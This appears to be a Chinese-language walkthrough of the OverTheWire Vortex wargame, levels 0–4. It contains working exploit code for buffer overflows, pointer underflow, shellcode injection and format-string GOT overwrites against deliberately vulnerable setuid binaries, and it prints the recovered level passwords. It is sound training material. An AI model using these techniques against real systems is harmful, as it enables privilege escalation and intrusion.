OverTheWire - Vortex

vortex

vortex.labs.overthewire.org 2228

Vortex 是 OverTheWire 里偏 network programming / binary exploitation 的 wargame。和 Bandit 不同,level 0 不是 SSH 登录,而是一个 TCP service;先解出 vortex1 密码后,后续才通过 SSH 进入 vortex.labs.overthewire.org:2228

1
2
3
4
5
6
SSH Information
Host: vortex.labs.overthewire.org
Port: 2228
User: vortex1+
Passwords: /etc/vortex_pass/
Binaries: /vortex/

level 0 → level 1

目标 service 在 vortex.labs.overthewire.org:5842。连接后它会发送 4 个 32-bit unsigned integer,机器是 x86 little-endian,所以按 <IIII 解包。把四个数相加后截断到 32 bit,再按 little-endian 发回去,就能拿到 vortex1 的 SSH 登录信息。

1
2
3
4
5
6
7
8
from pwn import *

r = remote('vortex.labs.overthewire.org', 5842)
data = r.recvn(16)
nums = [u32(data[i:i+4]) for i in range(0, 16, 4)]
answer = sum(nums) & 0xffffffff
r.send(p32(answer))
print(r.recvall(timeout=3).decode(errors='replace'))

本次 live verify 输出:

1
Username: vortex1 Password: Gq#qu3bF3
Gq#qu3bF3

level 1 → level 2

/vortex/vortex1 使用 backslash 操控写指针。反汇编关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
; 初始化
buffer = ebp - 0x21c ; 512 字节 buffer
ptr = ebp - 0x224 ; 写指针
ptr_init = buffer + 0x100 ; 初始位置: buffer+256

; 主循环: getchar() → char
; char == '\n' → print(buffer, 0x200)
; char == '\\' → ptr--
; 其他:
; if (ptr & 0xff000000) == 0xca000000 → setresuid + execlp("/bin/sh")
; else: *ptr++ = char (if ptr <= buffer+0x200)

核心思路: 发送 261 个反斜杠把 ptr 退到 ptr 变量本身的最高字节 (buffer-5 = var_ptr+3),然后写入 0xca 覆盖 ptr 的高位字节,使下一次循环的 0xca 检查命中。

1
2
3
4
ptr = buffer+256
经过 261 次 '\\' → ptr = buffer-5 = &ptr_var + 3
写入 0xca → ptr_var 高字节变为 0xca
下一次 getchar → 加载 ptr_var → (ptr & 0xff000000) == 0xca000000 → shell!

验证结果: buffer-5 偏移经 probe 确认 (发送 N 个反斜杠 + 'Z' + '',在 N=255 时 Z 出现在 buffer dump 第 2 位, N=256 时第 1 位, N=257 时消失,说明 buffer+256-257=buffer-1 是 buffer 起点前 1 字节,buffer+256-261=buffer-5 是 ptr_var 最高字节)。

1
2
# 一次性 payload (在 vortex 服务器上运行):
perl -e 'print "\\" x 261, "\xca", "X\n", "id\n", "cat /etc/vortex_pass/vortex2\n", "exit\n"' | /vortex/vortex1

或 Python 方式:

1
2
3
4
5
6
7
import subprocess
payload = b'\\' * 261 + b'\xca' + b'X\n'
payload += b'id\ncat /etc/vortex_pass/vortex2\nexit\n'
p = subprocess.Popen(['/vortex/vortex1'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, _ = p.communicate(input=payload, timeout=5)
print(out.decode(errors='replace'))

Live 验证输出:

1
2
3
4
$ id
uid=5002(vortex2) gid=5001(vortex1) groups=5001(vortex1)
$ cat /etc/vortex_pass/vortex2
WyEmn5wiX

WyEmn5wiX

关键坑getchar() 使用 buffered I/O,C 库会在第一次调用时把整个 pipe 读入内部缓冲区。execlp("/bin/sh") 后 shell 继承的 stdin pipe 已经空了。解决:用 os.openpty() 创建 PTY,通过 master fd 发送 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os, time
master, slave = os.openpty()
if os.fork() == 0:
os.close(master)
os.dup2(slave, 0); os.dup2(slave, 1); os.dup2(slave, 2)
os.close(slave)
os.execv("/vortex/vortex1", ["/vortex/vortex1"])
os.close(slave)
time.sleep(0.5)
os.write(master, b'\\' * 261 + b'\xcaX\n')
time.sleep(0.5)
os.write(master, b'id\ncat /etc/vortex_pass/vortex2\nexit\n')
time.sleep(0.5)
# 读取输出...

level 2 → level 3

/vortex/vortex2 调用 execv("/bin/tar", {"/bin/tar","cf","/tmp/ownership.$$.tar", argv[1], argv[2], argv[3]}) 但 args 数组缺少 NULL 终结符。现代 GCC (13.3) 的栈 canary 在 args 后立即放置,导致 execv 返回 EFAULT

解决:只传 1 个参数。此时 argv[2] = NULL sentinel,execv 停在 args[3] 不会触及 canary。

1
2
/vortex/vortex2 /etc/vortex_pass/vortex3
tar xOf '/tmp/ownership.$$.tar' etc/vortex_pass/vortex3

Live 验证:

1
2
$ tar xOf '/tmp/ownership.$$.tar'
YAVzRBMI4

YAVzRBMI4

level 3 → level 4

/vortex/vortex3 使用 strcpy(buf, argv[1]) 溢出。关键结构:

  • buf @ ebp-0x90 (144 字节)
  • lpp (写指针) @ ebp-0xc
  • 溢出距离: 132 字节

利用 0x0804b10c (.dynamic 中存 .fini_array 地址) 覆盖 lpp,使双重解引用将 &buf 写入 .fini_array[0]exit(0) 触发 dl_fini → 跳转 buf 执行 shellcode。

setresuid (syscall 164) 在 64-bit 内核 32-bit 兼容层下静默失败,只能用 setreuid (syscall 70)。

Payload (C wrapper,避免 Python UTF-8 编码破坏二进制字节):

1
2
3
4
5
6
7
8
// shellcode: setreuid(geteuid(),geteuid()) + execve("/bin//sh")
unsigned char payload[140];
memset(payload, 0x90, 132);
memcpy(payload, shellcode, sizeof(shellcode)-1);
payload[132]=0x0c; payload[133]=0xb1; // pivot: 0x0804b10c
payload[134]=0x04; payload[135]=0x08;
char *args[] = {"/vortex/vortex3", (char*)payload, NULL};
execv("/vortex/vortex3", args);

Live 验证:

1
2
3
$ echo "id\ncat /etc/vortex_pass/vortex4\nexit" | ./wrapper
uid=5004(vortex4) gid=5003(vortex3) groups=5003(vortex3)
v9kEqvkkq

v9kEqvkkq

level 4 → level 5

/vortex/vortex4 format string 漏洞。argc==0argc==1 && argv[0][0]=='\0'printf(*(argv[0]+12))不是 printf(argv[3]),而是读 argv[0] 字符串偏移 12 的 4 字节作为指针

通过 execve 控制环境变量,使 *(argv[0]+12) 指向 env[1](即 format string 自身)。栈可执行 (GNU_STACK RWE),ASLR=0,libc base 0xf7d82000

2026-06-11 session 实锤: - env[1] 是 format string(通过 marker 测试确认) - %hn 写入到 exit@GOT 确认生效(写入 0x000b → SIGSEGV,写入 0x0804 → SIGSEGV) - 单写 (%118$hn) 和双写 (%118$hn + %119$hn) 都验证通过 - 3 字节 padding 保证 GOT 地址 4 字节对齐在 positions 118/119

关键地址exit@GOT = 0x0804c008printf@GOT = 0x0804c004

shellcode 地址问题:GDB 跟踪 setuid binary 不给力(GDB 会改变 execve 环境导致 stack layout 漂移)。计算表明 env[0] 在 format string 下方 ~460 字节处,但精确地址需进一步定位。

现状: - 格式字符串写入框架完全验证通过 - 双写 %118$hn + %119$hn 可将任意地址写入 exit@GOT - 尝试写 0x08049176 (main) → re-entry 后 SIGSEGV(stack 状态不同) - shellcode 地址未确定,需用 GDB 在非 setuid 副本上精确定位 - 备选方案:ret2libc(写 system@libcexit@GOT)+ 覆盖 exit 参数为 /bin/sh 地址

未解决:需要确定环境变量数据在 vortex4 栈上的确切位置。格式字符串框架已验证,仅代码执行目标地址待定。

level 5+ (路线图)

后续 level 需要拿到 vortex5 后继续 live verify。旧 writeup 的地址和密码不可信,不能直接写入。

公开资料路线图如下,发布前都必须在 live binary 上复核:

  • level 5 → 6:源码里有固定 MD5,搜索空间是 [a-zA-Z0-9] 长度 5;用 hashlib.md5 暴力 preimage 后输入程序拿 shell。
  • level 6 → 7:构造 wrapper 调 execve('/vortex/vortex6', ['/bin/sh'], ['X=1']),利用程序对 argv[0] / env 的处理保留 euid shell。
  • level 7 → 8:参数 CRC32 必须匹配固定值,同时有栈溢出;先构造 overflow,再用 CRC forge 追加 4 字节补丁。
  • level 8+:公开题面只够做方向判断,必须登录后按 file / r2 / strace / ltrace / gdb 逐关复核。

当前发布状态:draft / level 0-3 live-verified, level 4 format string write confirmed (shellcode execution blocked)